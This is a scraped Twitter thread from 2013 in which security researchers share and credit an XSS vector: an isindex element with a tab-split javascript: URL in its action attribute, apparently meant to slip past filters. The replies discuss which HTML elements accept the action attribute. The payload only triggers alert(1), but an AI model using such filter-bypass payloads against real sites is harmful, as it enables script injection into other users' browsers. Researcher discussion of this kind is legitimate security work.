The winner is a great person @avlidienbrunn & his #XSS vector
<isindex action="javas	cript:alert(1)" type=image> http://jsfiddle.net/X7hdq/
-
-
-
Replying to @rafaybaloch
@rafaybaloch@soaj1664ashar thanks! Some credit to@garethheyes http://www.thespanner.co.uk/2008/08/26/new-xss-vector/ …2 replies 0 retweets 0 likes -
Replying to @avlidienbrunn
@avlidienbrunn@soaj1664ashar@garethheyes I think, action only works with form and isindex?, isn't it?2 replies 0 retweets 0 likes
Replying to @rafaybaloch
@rafaybaloch @soaj1664ashar @garethheyes MSDN and I seems to think so: http://msdn.microsoft.com/en-us/library/ie/ms533063(v=vs.85).aspx …
12:26 PM - 15 Apr 2013
0 replies
0 retweets
0 likes
Loading seems to be taking a while.
Twitter may be over capacity or experiencing a momentary hiccup. Try again or visit Twitter Status for more information.